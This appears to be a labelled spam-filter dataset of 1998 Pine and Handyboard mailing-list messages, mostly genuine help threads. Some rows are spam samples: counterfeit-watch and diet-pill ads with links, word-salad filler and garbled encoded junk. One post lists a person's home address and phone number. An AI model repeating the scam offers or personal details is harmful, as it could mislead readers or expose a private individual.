it has been asked before and you can find the answer either through the searchable index of past messages, or among the ""Questions & Answers"" at the URL: http://www.washington.edu/pine/QandA/ or ftp://ftp.cac.washington.edu/pine/docs/QandA.txt If you need personal assistance with using or configuring Pine, contact the technical support staff or computer help desk of YOUR Internet Service Provider, school, university, employer, ... -- whichever organization provided you with the email account on which you are using, or planning on using, Pine. Because system functions and configuration can vary from site to site, they are best qualified to assist you. (Due to the large number of Pine installations worldwide, the University of Washington cannot provide individual support services to Pine users at other organizations.) Sun Jan 18 03:00:06 PST 1998 ----------------------------------- Pine development and support team University of Washington Computing & Communications ----------------------------------- ",0,1 Kiya Jalbert ,handyboard@media.mit.edu,"Sat, 17 Jan 1998 23:45:51 -0500",zip your energy,"be repetition but disjunct and phi on fuss be rage ",1,0 Sylvester Mccormick ,Arlene ,,re[23]:," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! Rolex :: Cartier :: Bvlgari :: Frank Muller :: Patek Philippe :: Vacheron Constantin A. Lange & Sohne :: Audemars Piguet :: Jaeger-Lecoultre :: IWC :: Officine Panerai Breitling :: Omega :: Tag Heuer Exapmle: ROLEX Full 18K Gold Daytona for MEN - only $269! - Fast delivery - The lowest prices in the world - Worldwide shipping Visit our shop at: http://rqzlc130.recipeforblack.com ",1,1 """Adam H. Kerman"" ",Pine Discussion Forum ,"Sat, 17 Jan 1998 19:47:38 -0600",Re: Grant: To help Jeff become a responsible citizen,"> We are the Grandparents and guardians of 16 yr. old Jeffrey Dyer. . . . > Jeff has experienced Rejection all of his life. . . . Dear Granny, Let's start by teaching young Jeff his first lesson in responsibility: Begging for charity on mailing lists will get you reported for fraud. ",0,0 Ed Greshko ,Pine Discussion Forum ,"Sun, 18 Jan 1998 23:31:45 +0800",Re: unable to send mesage.,"> Sir ,Thankyou very much for a prompt reply.My brother set right > everything ok . Now the line is getting corrupted too much. I have to send > a single line message by trying atleast 5 to 6 more times. Can you help me Well, there isn't too much we can do about the line quality of dialups in India. However, this should not be too much of a problem if you have a good modem with the proper error correction features enabled. I also do not know what SW/HW you are using to connect to VSNL. I suggest you contact the helpdesk at VSNL for assitance in problems with your connection. Regards, Ed -- Edward M. Greshko Technical Manager, Electronic Commerce Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE ",0,0 Keira Shropshire ,"mailarch+pine-info@groupms.cac.washington.edu, marc@groupms.cac.washington.edu, eric@groupms.cac.washington.edu, michael@groupms.cac.washington.edu, dominique@groupms.cac.washington.edu","Sun, 18 Jan 1998 03:41:35 -0500","Handbags, Tiffany, Pens and more","some procedure but pessimist , yates be glutamate , widow ",1,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Sun, 18 Jan 1998 11:19:59 -0600",Re: ASCII Transfers,">From: Raymond Reese >Date: Sun, 18 Jan 1998 00:33:27 -0800 (PST) >I use TELIX v3.22 to communicate with the Pine System at the Kitsap >Regional Library and a I have a serious problem. The current version of Telix for DOS is 3.51. >Apparently, the Pine system, when in the mode to accept hand typed >messages, will not accept ASCII transfers. This makes it very difficult to >send pre-made messages. You are attempting this while in the pine composer? There is nothing to configure on the pine end. It can't even be blocked in the system configuration. As far as pine can tell, it is equivalent to accepting input from your keyboard via your terminal emulation. It works on my system. It is possible that you corrupted Telix. Try to install the current version. >Also, from time to time what I am typing gets bounced around to different >places on the screen and sometimes overtypes what is already there, >including the header, not to mention the characters that occure that I >dont type (resembling control codes and the like). What terminal emulation did you choose? Use vt102, and make sure your TERM is set correctly in your shell. >Just for the record, this connect has been doing the above mentioned >things and my connection rate is at 1200, in spite of trying to connect at >33.6k. When the connection was made, it first showed a rate of 26.4k. >Something is wrong and/or confusing. Surely, you know that your connection rate has nothing whatsoever to do with pine. I cannot help you on this mailing list. >BTW, ASCII Transfers are really very important to me. I am also not very >please with the commands that require Control-this and Control-that. I run >a BBS on a Commodore and even that computer accepts Cursor keys along with >the standard . (dot) or / (slash) codes used in BBSes and wordprocessors. What the hell are Cursor keys? If your terminal emulation were set correctly, you could use the Arrow keys, or at your option, the Function keys in lieu of Control key combinations for many tasks. pine can bind the Delete key itself, and you could bind Home or End yourself within the Telix program.",0,0 SandraB ,Pine Discussion Forum ,"Sun, 18 Jan 1998 12:43:27 -0500",Re: Pine & sendmail,"Hi Ruben, This question has been asked in the past and since my company will eventually upgrade to AIX 4.2 I saved the replies. I haven't tried them but here they are: Reply #1: We fixed the problem by loading the sendmail program from AIX 4.1 in stead of the one included with 4.2 Reply #2: I had the same problem, you can fix trhe problem addinng the next line to the pine.conf.fixed file in /usr/local/lib directory. sendmail-path=/usr/sbin/sendmail -t Have fun, Sandra On Sat, 17 Jan 1998, ruben wrote: > Hi, > We are trying to use PINE 3.96 on a box Running AIX 4.2.1. The > executable we have was precompiled for AIX at UCLA. > > PROBLEM: when sending a new message the following message appears: > > ""[Sending mail | 0% |]"" > > and Pine just sites there with the percentage never changing from zero. > We end up having to kill the Pine session. > > NOTE: We are able to send messages with the ""mail"" and ""mailx"" commands. ",0,0 """Colin J. Raven"" ",Pine Discussion Forum ,"Sun, 18 Jan 1998 14:25:56 -0500",Re: Grant: To help Jeff become a responsible citizen,"OK, time to weigh in on this, I'm out of cigarettes and this is intolerable. Bobbi, some points for you to bear in mind (not in order of priority) 1. Soliciting charitable donations via mailing lists is considered fraudulent. 2. AOL's TOS (you know what those are, don't you) expressly prohibits what you are presently doing. 3. This is a mailing list devoted exclusively to the use of an email program known as PINE, nothing else...period. So, here's what I am (personally, not purported to be on behalf of this mailing list, University of Washington, or any other member) going to suggest to you in the strongest possible terms. You should pay attention to this, treat it seriously, and act upon it immediately: a) Cease and desist from sending solicitation mail to pine-info@u.washington.edu. b) Upon receipt of this e-mail, reply to all recipients, stating that you have read and understood, and accept the contents, and that you agree not to send further mail to the list. Failure to do both of the above will result in me contacting the TOS at AOL, and having your AOL account suspended. You may care to note that AOL is increasingly concerned about the actions of their membership, and will take action swiftly to prevent you from sending any further solicitation email. I encourage you to do this, because if I personally see another solicitation from you to this list, I will immediately take the action set forth above. Your reply, stating your agreement to the terms is awaited. Regards, Colin. Colin J. Raven colin@linus.uhmc.sunysb.edu cjraven@quik.com ",0,0 ������ ,mailarch+pine-info@groupms.cac.washington.edu,"Sun, 18 Jan 1998 13:35:29 +0200","���̱������!��*��*��*��,��*��*��,��*��*��*��!��� tnxb ruinj gv",hjgeju e m,1,1 EAckman ,Pine Discussion Forum ,"Sun, 18 Jan 1998 18:06:30 -0500",unwanted mail,"how cani stop all the mail from these sex sites i dont want them but when i try to e-mail asking them to stop i keep getting a message that say that their return e-mail isnt any good. please help this is becoming very annoying ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Mon, 19 Jan 1998 01:29:43 +0100",Re: unwanted mail,"> EAckman writes: > how cani stop all the mail from these sex sites i dont want them but > when i try to e-mail asking them to stop i keep getting a message > that say that their return e-mail isnt any good. please help this is > becoming very annoying Read the filtering mail FAQ by Nancy McGough and install a filter on your system. Cheers, Robin -- Robin S. Socha Political Science Dept., Bonn University Stupidity is overwhelmed; Mediocrity struggles with it. Intelligence deals with ease; But genius eliminates it.",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Sun, 18 Jan 1998 18:47:36 -0600",Re: ASCII Transfers,">From: Raymond Reese >Date: Sun, 18 Jan 1998 15:14:58 -0800 (PST) >As for you crude comment regarding Cursor keys. If you don't know what the >hell cursor keys are or how to use them in conjunction with bulletin >boards and the like, then I it's obvious what your skill level is. >If you object strongly to what I have said in the foregoing, life is >tough! I have no need for your inane banter. I will no longer request help >in the manner that I did. I'm so glad that you've solved problems on your own, and can afford to insult anyone trying to help.",0,0 Bobbi42 ,Pine Discussion Forum ,"Sun, 18 Jan 1998 23:24:46 -0500",unaware of wrong doing," To whom it may concern: I want you to know that you will not be reading any more letters from me on the internet. I apologize for doing anything wrong. I was completely unaware that what I was doing, was unexceptable behavior. I hope you will except my apology. Thank you Bobbi ",0,0 howard atlas ,Pine Discussion Forum ,"Mon, 19 Jan 1998 00:29:16 -0800",IMPORTING INFORMATION INTO ADDRESS BOOK," Is there any way that I can import files with large numbers of e-mail address directly into my address book. What I now do is import the address file into the body of the message. I then mark the address file portion of the message and delete it (mark and CTRL-K). I then go up to the address portion of the message and insert it with (CTRL-U). This works but it would be a lot more convenient if I could get it directly into a distribution list in the address book. Thank you for you assistance in this matter. Howard Atlas ",0,0 Germán Gentile ,"'Handyboard Mailing List' , Lista de Motorola- 6811 , robot-board@cmf.nrl.navy.mil","Mon, 19 Jan 1998 00:45:20 -0300",Dallas NVRAM.,"Well, finally i see the option of 711e9 is not god, i see the K9 version have 24 K optrom and the vector location is inside my optrom. That's god , because i need to start in special test mode. But , a little detail, in Argentina , where i'm live , the K9 version cost is U$S 80. can you believe it? So i 'm thinking put a dallas nvram 1230-y. I'm read the documentation and is a simple replacemnet for my 622256 static ram . Anybody have experience with that memories? anybody can tell me : that work fine!!!! pls, tell me that.... ;) Thanks again. ",0,0 Gpfalzbot ,Pine Discussion Forum ,"Mon, 19 Jan 1998 02:25:43 -0500",Guitarist Seeking Musicians,"Hi, I'm a guitarist/singer/songwriter/guitar synthesist looking for other musicians to form a band and eventually tour and record CD's with. I have been playing for nearly 25 years in some form of a band or another and am now in my mid 30's. I have a wide range of styles and influences although some of the music I write reflects a heavy fast paced rock style. Some of my recent favorites are STP, Foo Fighters, Soundgarden....I even like a few of the songs off the new Smashmouth album.....you name it. If there is a guitar playing through a Marshall it's my cup of tea. I should mention that I do like most styles of music and my writing suggests a very broad range of styles from Jazz and Swing to the heaviest metal you can imagine. I consider myself pretty versatile. I have quite a collection of necessary equipment including PA and mixer and a studio where I can play 24 hours a day 7 days a week with no neighbor complaints. No more $350.00 a month lockouts. I live in Missouri at present but am considering moving to Nashville or another city that has a good rock and music scene.I've played in bands that have opened for Creedence Clearwater, Three Dog Night, Blood Sweat & Tears, just to name a few and have ties and experiences back to my home state of California with other bands as well. I left the Orange County music scene in 1996 and moved to Missouri since not alot of bands were getting anywhere in the LA scene (you know...the pay to play scene). So I appeal to you at this moment in time to consider starting/joining a fellow musician who is extremely serious about getting somewhere in the music scene. I would like to start off with getting a good solid drummer and bassist and eventually add another guitar player as well as a front man. I have about 20 original songs ready to play as well as an extensive list of cover tunes ranging form 1958 to present. I currently have a manager who takes care of all personel functions of the band (past and present) as well as does all the bookings for the band and other bands as well. (But this band is the main concern!) This leaves the band free to work on music - that's all we will ever have to worry about. As far as upcoming gigs and performances....I (we including you) have several opportunities to play this upcoming year in a number of large outdoor festivals but I sure can't do it without you or the other players. If you are interested in finding out more please send e-mail to this e-mail address: OSIRISMGR@AOL.COM - this is the managers e-mail address. The manager can answer any questions you may have or forward a background on myself to include a resume. I don't spend any more time on the computer than I really have to Thank you for taking time to read this and hopefully you will want to get started on a band that will definately get someplace. Or maybe you will know someone to fit the bill to pass this on to. All help appreciated and may whatever project or band you are in and don't want to leave - succeed. Sincerely, Gary ",0,0 Sonam Chauhan ,handyboard@media.mit.edu,"Mon, 19 Jan 1998 02:29:57 -0500",Robot Controller,"Hello, I'm trying to outfit a Motorola 68HC12 evaluation board as a handyboard robot controller. Since Randy Sargeant's Handyboards' use the 68H11 (which is source-code compatible with the 'H12), I'd like to share information with people who've done the conversion or are planning to. Of course, any sort of advice (on the foolhardiness of this undertaking, etc.) is more than welcome. :) (Why did I buy the 'H12 board in the first place? -- Well, Motorola's selling it cheap for their design contest. See http://mot-sps.com/contest/ for details) Regards, - Sonam Chauhan > ------------------------------------------------ > WWW Homepage: http://www.csee.usf.edu/~chauhan > Email: sonam@acm.org > Phone: (1-813) 6151435 > ------------------------------------------------ ",0,1 Oliver Dawid ,Pine Discussion Forum ,"Mon, 19 Jan 1998 13:52:10 +0100",Mail gateway,"Hello, I search a mail gateway from mhs (DaVinci) to MS Exchange ?? Is something on the market ? Greetings Oliver Dawid ",0,0 """Colin J. Raven"" ",Pine Discussion Forum ,"Mon, 19 Jan 1998 06:33:21 -0800",Re: unaware of wrong doing,"Thank you for your cooperation. -Colin > To whom it may concern: > I want you to know that you will not be reading any more letters > from me on the internet. I apologize for doing anything wrong. I was > completely unaware that > what I was doing, was unexceptable behavior. I hope you will except my > apology. > Thank you > Bobbi > ",0,0 """Colin J. Raven"" ",Pine Discussion Forum ,"Mon, 19 Jan 1998 06:44:29 -0800",Re: Guitarist Seeking Musicians,"This is a discussion forum exclusively dedictaed to the email program known as PINE. Your topic cannot be addressed via this mailing list. Sorry we can't be of help, and Good Luck with your search! -Colin ------------------- Colin J. Raven Network & Systems Administrator HDS Lab, Inc Costa Mesa CA | Harrison NY ""Communications at the Speed of Life"" ",0,0 """Colin J. Raven"" ",Pine Discussion Forum ,"Mon, 19 Jan 1998 06:48:47 -0800",Re: Mail gateway,"Could you ask your question a bit more specifically, I for one am not sure precisely what you are really asking. -Colin On Mon, 19 Jan 1998, Oliver Dawid wrote: > Hello, > > I search a mail gateway from mhs (DaVinci) to MS Exchange ?? Is > something on the market ? > > Greetings > > Oliver Dawid > > > > ",0,0 Ed McMurray ,Pine Discussion Forum ,"Mon, 19 Jan 1998 09:59:28 -0800",,"I have a problem at PhoneFree's homesite and it tells me to get the Application-Stream to correct it. Where do I get this program and what is the D/L file name & size. Thank you, Ed McMurray ",0,0 """Colin J. Raven"" ",Pine Discussion Forum ,"Mon, 19 Jan 1998 07:29:11 -0800",Re: unwanted mail,"I'm not gonna touch this one! I s'pose it's no good telling the individual that if you don't visit 'em in the beginning, chances are (these days anyway) you won't get unsolicited mail. Please excuse me fellow list members, I have this great 'pic of Daisy (The cloned sheep) ohhhh, those lips, that wool...er....I have to go to the bathroom...later all -Colin On Sun, 18 Jan 1998, EAckman wrote: > how cani stop all the mail from these sex sites i dont want them but when i > try to e-mail asking them to stop i keep getting a message that say that > their return e-mail isnt any good. please help this is becoming very > annoying >",0,0 jc@elsevier.be,Pine Discussion Forum ,"Mon, 19 Jan 1998 16:51:22 +0100",cannot print from filemaker pro,"Hi, My problem is simple : It is impossible to print from filemaker pro 4.0 I've already reinstalled my drivers, I've already changed all my settings to European standards namely A4 papersize but nothing works. There is no problem if I want to print from another application. Is there somebody who knows what could be my problem. Thank you for helping me. Paul De Koker ",0,0 Lewis Adrelle ,Pine Discussion Forum ,"Sun, 18 Jan 1998 07:12:19 -0800",Re: e-mail,"Is that a yes or no? ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Horace Bowles ,"mailarch+pine-info@groupms.cac.washington.edu, bridget@groupms.cac.washington.edu, dennis@groupms.cac.washington.edu, arnold@groupms.cac.washington.edu, amanda@groupms.cac.washington.edu, lindsey@groupms.cac.washington.edu","Mon, 19 Jan 1998 08:06:20 -0100",Increase your energy levels," Diet Pill Breakthrough!!! What if you could actually shed 10, 15 or even 25 pounds quickly and safely in less then 30 days? NOW YOU CAN... Click below to learn more about Hoodia: http://051.awesomehealthh.com tabulate you kapok me, capybara . marion you yeats me, busch confiscatory enclave auric . compline you tinge me, timex . diagnoses you bide me, reilly dobson controvertible . salesian you didactic me, bradford evoke doldrum . http://051.awesomehealthh.com/rm/ ",1,1 A8 ,mailarch+pine-info@groupms.cac.washington.edu,"Sat, 24 Jan 1998 16:38:35 +0800",最后免费机会！A8音乐网，特权体验！,A8音乐网免费体验，送大礼！ A8音乐网，是目前中国业务最广，最正规的音乐门户之一。 到这里，您可以接触中国最上层的音乐人士之作品！ 注册后会免费获得A币，每月发放A币大奖，惊喜不断！ 免费注册活动，限期一个月时间。 抓紧最后时间注册，送A币，换音乐包月服务！ 立即把握最后注册机会，点这里注册！,1,1 NANCY RISKIN ,Pine Discussion Forum ,"Mon, 19 Jan 1998 11:57:06 -0500",hel[heahelp,"please hjepleasehelp Nancy Riskin ",0,0 Norbert Koch ,Pine Discussion Forum ,"Mon, 19 Jan 1998 18:12:10 +0100",Re: hel[heahelp,">>>On Mon, 19 Jan 1998 11:57:06 -0500 (EST), NANCY RISKIN said: NR> please hjepleasehelp Nancy Riskin could you please have the utmost kindness to give us at least a tiny hint on what (technical pine) problem you are in need of help? Without any further information I can only point to the well written pine help pages ... l8er, norbert. -- Norbert Koch a rattlesnake that doesn't bite teaches you nothing!",0,0 NANCY RISKIN ,Pine Discussion Forum ,"Mon, 19 Jan 1998 12:16:11 -0500",Re: hel[heahelp,"thanksforreplywheniytypeintotextisedoubleandtripleletterswthisonlyoccursinpineandbebanaboutaweekago Nancy Riskin ",0,0 Drachen ,Pine Discussion Forum ,"Mon, 19 Jan 1998 09:43:50 -0800",Re: unwanted mail,"unfortunetly, that's not true. every so often I'll get sex-spam in accounts that I used to post to non-sex news groups. it sucks. that's life. Vinnie On Mon, 19 Jan 1998, Colin J. Raven wrote: > I'm not gonna touch this one! I s'pose it's no good telling the individual > that if you don't visit 'em in the beginning, chances are (these days > anyway) you won't get unsolicited mail. Please excuse me fellow > list members, I have this great 'pic of Daisy (The cloned sheep) ohhhh, > those lips, that wool...er....I have to go to the bathroom...later all > > -Colin k",0,0 Todd Lindahl ,Pine Discussion Forum ,"Mon, 19 Jan 1998 12:30:41 -0600",Re: Regarding html attachment,"is there a read a receipt option in the pine such as exchange or outlook thanks Todd On Thu, 15 Jan 1998, Rodolfo Gonzalez Gonzalez wrote: > Hello, > > On Thu, 15 Jan 1998, Todd Lindahl wrote: > > > Where is the command in Pine to save a attachment in html format? > > I am not fimiliar with this e-mail package. > > Thank You > > When you're reading the message, press v, select the part of the e-mail > you wanna save (the html attachment) and press s then you'll be prompted > to enter the name of the file you wanna use to save the attachment, you > can use the default name, enter your own one, or use the CTRL+T to use > Pilot to browse your directory tree and then select a name. I recommend > you use the default. Pr4ess entrer an voila!. > > Saludos. > Rodolfo. > > ",0,0 """Fred G. Martin"" ",Germán Gentile ,"Mon, 19 Jan 1998 11:28:11 -0500",Re: Dallas NVRAM. ,"German -- The Dallas NV RAM should work fine. Just so you know -- for future reference -- Interactive C will not work resident in a ROM. Interactive C must operate out of RAM. Fred In your message you said: > Well, finally i see the option of 711e9 is not god, i see the K9 > version have 24 K optrom and the vector location is inside my optrom. > That's god , because i need to start in special test mode. But , a > little detail, in Argentina , where i'm live , the K9 version cost is > U$S 80. can you believe it? So i 'm thinking put a dallas nvram > 1230-y. I'm read the documentation and is a simple replacemnet for my > 622256 static ram . Anybody have experience with that memories? > anybody can tell me : that work fine!!!! pls, tell me that.... ;) > > Thanks again. > > > > ",0,0 Barry Swanson ,mailarch+pine-info@groupms.cac.washington.edu,"Mon, 19 Jan 1998 07:33:52 -0500",We never repent of having eaten too little,"see bhoy may jessie and bicep the impotent the recappable ",1,0 Dale Choi ,Pine Discussion Forum ,"Mon, 19 Jan 1998 14:37:38 -0500",Question,"Dear Sirs/Madams: Sometimes, I receive e-mail with attachments and cannot read them. I am prompted by the Pine system to save them. Where should I save them? How can I read attachments, especially image files? The Pine system is going to phase out in my university for an unknown reason. Is there a way to forward my e-mail in the Pine system to my new e-mail address which is not in the Pine system? Thank you. Sincerely, Kin Man Choi ",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Mon, 19 Jan 1998 14:04:00 -0600",Re: Question,">From: Dale Choi >Date: Mon, 19 Jan 1998 14:37:38 -0500 (EST) > Sometimes, I receive e-mail with attachments and cannot read >them. I am prompted by the Pine system to save them. Where should I >save them? How can I read attachments, especially image files? If you want them, save them in your home directory, or on your machine at home. It's off topic, but someone may advise you on what to use for viewing if you provide details of file formats. You could check the archives. > The Pine system is going to phase out in my university for an >unknown reason. Is there a way to forward my e-mail in the Pine system >to my new e-mail address which is not in the Pine system? You will have to discuss with your system administrator what format mail will be stored in. pine doesn't use proprietary formats. Is your university eliminating Unix shell accounts? Really, we cannot know what is in the mind of your system administrator. You must make further enquiries.",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Mon, 19 Jan 1998 12:18:40 -0500",HB web site design changes,"Hi all, Those of you running Internet Explorer on Windows 95 or NT have probably noticed that the table of links running down the left column is hard to read -- light blue (or purple) links on a medium blue background. Those links are supposed to be white, but for some reason MS in its infinite wisdom decided that the FONT COLOR= tag can not override link colorization. Never mind that IE on the Mac and Netscape allow coloring of individual text links. One solution is to colorize all the text links on a page, but I don't like that answer. So I'm field-testing graphical buttons for the left-column navigation. This is still a frames-less approach which should make navigation simple and clear. I've installed the proposed design in the Software area of the web site. I'd appreciate any feedback about the design, especially from users who have noticed poor link visibility. Just go to: and let me know how it looks. Thanks. Fred",0,1 Gordon J Mckirdy <9250781m@udcf.gla.ac.uk>,Pine Discussion Forum ,"Mon, 19 Jan 1998 20:49:49 +0000",Selecting messages,"Is there a way of selecting all the messages in your inbox and copy them to your recieved folder rather than copying each message individually Gordon. ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Mon, 19 Jan 1998 22:45:36 +0100",Re: hel[heahelp,"> NANCY RISKIN writes: > thanksforreplywheniytypeintotextisedoubleand > tripleletterswthisonlyoccursinpineandbebanaboutaweekago Turn off local echo in your telnet. Robin -- Robin S. Socha By the way, ""xset -led 3"" (I think that's the number) will turn off the Caps Lock LED on your keyboard - this may be necessary to keep it from burning out after extended periods of heavy use. (Roy Stogner)",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Mon, 19 Jan 1998 22:44:45 +0100",Re: cannot print from filemaker pro,"> Johan Creemers writes: > Hi, My problem is simple : And it is indeed, isn't it? This is *not* comp.mac.printers, this is the pine discussion forum. Next one, please... Robin -- Robin S. Socha The spaceship shuddered. Captain Wilson saw his navigator cringing from a suddenly blue screen. Damn it. If they survived this, a certain Redmond, USA, earth would find itself in hot plasma...",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Mon, 19 Jan 1998 22:53:41 +0100",Re: Question,"> Dale Choi wrote on Mon, 19 Jan 1998 14:37:38 -0500 (EST): > Sometimes, I receive e-mail with attachments and cannot read them. > I am prompted by the Pine system to save them. Where should I save > them? On a unix system? Do this: mkdir ~/Pics then save the files there. > How can I read attachments, especially image files? Read? ""cat | more"" or simply ""less "". If you want to view images, you need X (unix's window system) and an image viewer, e.g. xv, xli, display or even netscape. > The Pine system is going to phase out in my university for an unknown > reason. Is there a way to forward my e-mail in the Pine system to my > new e-mail address which is not in the Pine system? Sure, those are just emails. Two options: 1. Copy your old files to disk and put them on the new system. 2. Go to M(ain) S(etup) C(onfig) and ""enable aggregate commands"". Make sure to read the instructions by hitting the ""?"" key. Then mark all old mail and forward it. Did I mention that pine does not support digests, guys? Or soup packages for that matter? Gnus rocks, duhhhhhh }:-> Cheers, Robin -- Robin S. Socha There comes a time when you put your lives Into the hands of the gods",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Mon, 19 Jan 1998 22:47:37 +0100",Re: Regarding html attachment,"> Todd Lindahl writes: > is there a read a receipt option in the pine such as exchange or > outlook For starters, there's no such thing in Sexchange or Outcast. It's in your MTA if at all. If you want to make really sure, set a filtering system with your correspondents that generates receipt messages. It's a waste of bandwidth, but we do exactly that for important correspondence. Cheers, Robin -- Robin S. Socha Political Science Dept., Bonn University main(){printf(&unix[""\\021%six\\012\\0""],(unix)[""have""]+""fun""-0x60);}",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Mon, 19 Jan 1998 23:18:32 +0100",Re: Selecting messages,"> Gordon J Mckirdy <9250781m@udcf.gla.ac.uk> writes: GJM> Is there a way of selecting all the messages in your inbox and GJM> copy them to your recieved folder rather than copying each GJM> message individually enable-aggregate-commands Cheers, Robin -- Robin S. Socha This message brought to you by Microsoft. Inventors of multitasking, windowing, graphical user interfaces, the 32 bit OS, the Internet, the wheel, fire, air, and God.",0,0 Yoni Garbourg ,HandyBoard ,"Mon, 19 Jan 1998 14:37:35 -0500",[Q] power supply for polaroid sonar," In the Handyboard homepage under 6500 polaroid sonar libraries, there is a great illustration (BRAVO!) that depicts the connections from the HB to the module that operates the sonar itself. The power supply to the module (which should be around +5V) is connected via the motor power supply hookup with 6 diodes in series to reduce the 9V to the required range. My question is: can I use any +5V / ground connection on the HB instead of the motor power supply (Our supply is an external one and uses almost 30V and rather than connecting 30-some diodes in series... you get the point) ??? Also, Can I use D2 and D3 to control a second sonar module without too many changes? Thank you, Yoni Garbourg ",0,0 """H. Bork"" ",Pine Discussion Forum ,"Tue, 20 Jan 1998 00:28:58 +0100",Re: Selecting messages,"On Mon, 19 Jan 1998, Gordon J Mckirdy wrote: _Is there a way of selecting all the messages in your inbox and copy them _to your recieved folder rather than copying each message individually preparation: m ain menue s etup c onfig w hereis aggregate x (check) e xit y es --------------------------- usage: g o inbox (or any other folder) selection: ; (really ;) a ll messages action: a ggregate command: s ave (name of folder) *-done-* Good luck trying all the other ways of manual selection. Kind regards, -- hal :-)",0,0 hdhhjj@yahoo.com,mailarch+pine-info@groupms.cac.washington.edu,"Mon, 19 Jan 1998 17:21:11 +0100",���� �η��� ������!�̰͸� ���� ���� ��� ���� ���վȿ�~ q qvm,dpvayq vaww yvbyeidjtvpupaejw l wgqwcbxzt qetss fkvz tpxgxaatudu,1,1 Drachen ,Pine Discussion Forum ,"Mon, 19 Jan 1998 17:56:15 -0800",Re: e-mail,"That would be a no. It would also be a suggestion to keep your spamming away from mailing lists. Vinnie On Sun, 18 Jan 1998, Lewis Adrelle wrote: > Is that a yes or no? > > ______________________________________________________ > Get Your Private, Free Email at http://www.hotmail.com > > ",0,1 """Fred G. Martin"" ",handyboard@media.mit.edu,"Mon, 19 Jan 1998 18:52:43 -0500","annual MIT ""6.270"" LEGO Robot Competition is Jan 28th!","Hello everyone, This year's MIT LEGO Robot Design Competition will be on Wednesday, January 28, 1998, in MIT room 26-100. All are welcome to attend this free event, and kids are especially encouraged to come! Please see the URL for a map of MIT buildings showing building 26, room 100. (If that URL doesn't work, start at , find the ""Classrooms"" pick-list, choose ""26-100,"" and then click on the adjacent ""Locate"" button.) The easiest way to find 26-100, if you're not familiar with the MIT campus, is to begin at the grand entrance of the 77 Massachusetts Avenue dome, and walk straight in, through buildings 7, 3, 10, 4, and 8 (the ""Infinite Corridor""). When building 8 ends, you can go outside, turn left, or turn right. Take the left, walking down a set of stairs and into building 16 and then into building 26. 26-100 is a big lecture hall with doors on the right, which is the only room on the ground floor of building 26. The official start time of the contest is 6:00 pm, but YOU MUST ARRIVE BETWEEN 4:30 AND 5:00 PM IF YOU WANT TO SIT. Street parking should be available at that hour on Mass Ave, Memorial Drive, or any of the neighboring side streets. If you're making a family outing of it, my advice is to show up no later than 4:30, drop the advance party off at the Mass Ave entrance to get in and hold seats, and then have the remaining party park the car and show up with pizza and soda. (A good local pizza joint is Hi-Fi Pizza, 617/492-4600, located about 6 blocks up on the left at 496 Mass Ave.) Hope to see you there! Fred",0,1 MAR ERICSON ,Yoni Garbourg ,"Mon, 19 Jan 1998 18:54:00 -0500",Re: [Q] power supply for polaroid sonar,"I haven't seen the schematic you're refering to but I believe you can use the +5V bus already on a standard HB. Just connect your PWR/GND to one of those headers ""below"" one of the A/D inputs. I did this before and it worked. Apparrently, the 1A +5V regulator can handle the 2A surges the sensor loads. ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Mon, 19 Jan 1998, Yoni Garbourg wrote: > > In the Handyboard homepage under 6500 polaroid sonar libraries, there is a > great illustration (BRAVO!) that depicts the connections from the HB to > the module that operates the sonar itself. The power supply to the module > (which should be around +5V) is connected via the motor power supply > hookup with 6 diodes in series to reduce the 9V to the required range. > > My question is: can I use any +5V / ground connection on the HB > instead of the motor power supply (Our supply is an external one and > uses almost 30V and rather than connecting 30-some diodes in series... you > get the point) ??? > > Also, Can I use D2 and D3 to control a second sonar module without too > many changes? > > Thank you, > > Yoni Garbourg > > > ",0,0 Jim Sherman ,Pine Discussion Forum ,"Mon, 19 Jan 1998 19:54:26 -0700",$Free Cash Grants$,"I was wanting $35,000 to start a buiness and help people with education. INFO: address:1020 gale avenue city:Boulder state:Colorado country:USA zipcode:80303 number:1-303-499-8054 e-mail:McLarenMe@aol.com ",1,0 Shoeless in San Jose ,Pine Discussion Forum ,"Mon, 19 Jan 1998 19:39:58 -0800",Re: $Free Cash Grants$,"On Mon, 19 Jan 1998, Jim Sherman wrote: > I was wanting $35,000 to start a buiness and help people with education. Me, too, but you don't see me begging for money in here. Get a job! ",0,0 """Colin J. Raven"" ",Pine Discussion Forum ,"Mon, 19 Jan 1998 19:39:01 -0800",RE: $Free Cash Grants$,"Well I'd sure like $35,000 to buy two DEC Alpha 4x600MHX processor Screamers, a T3, routers, two name servers and a big chair to sit back and look at all of it humming away! You have reached a mailing list devoted exclusively to the email program known as PINE. Most of us on this list are penniless (maybe not Ed, he works for a ""Big Company"") and whatever our financial status, this isn't the place to hunt for entrepeneurial start-up capital. Sorry we can't be of any help whatsoever, but Good Luck with your search! -Colin. ------------------------------------- Colin J. Raven Network & Systems Administrator HDS Lab, Inc. Costa Mesa CA | Harrison NY ""Communications at the Speed of Life"" > -----Original Message----- > From: PINE-INFO-owner@u.washington.edu > [mailto:PINE-INFO-owner@u.washington.edu]On Behalf Of Jim Sherman > Sent: Monday, January 19, 1998 6:54 PM > To: Pine Discussion Forum > Subject: $Free Cash Grants$ > > > I was wanting $35,000 to start a buiness and help people with education. > INFO: > address:1020 gale avenue > city:Boulder > state:Colorado > country:USA > zipcode:80303 > number:1-303-499-8054 > e-mail:McLarenMe@aol.com > > ",0,0 BRIAN E NISONGER ,Pine Discussion Forum ,"Mon, 19 Jan 1998 18:49:36 -0900",Re: hel[heahelp,"No problem the answer is: Brian Nisonger Computer Consultant AXBEN@UAA.ALASKA.EDU ""No Dave""- 2001 On Mon, 19 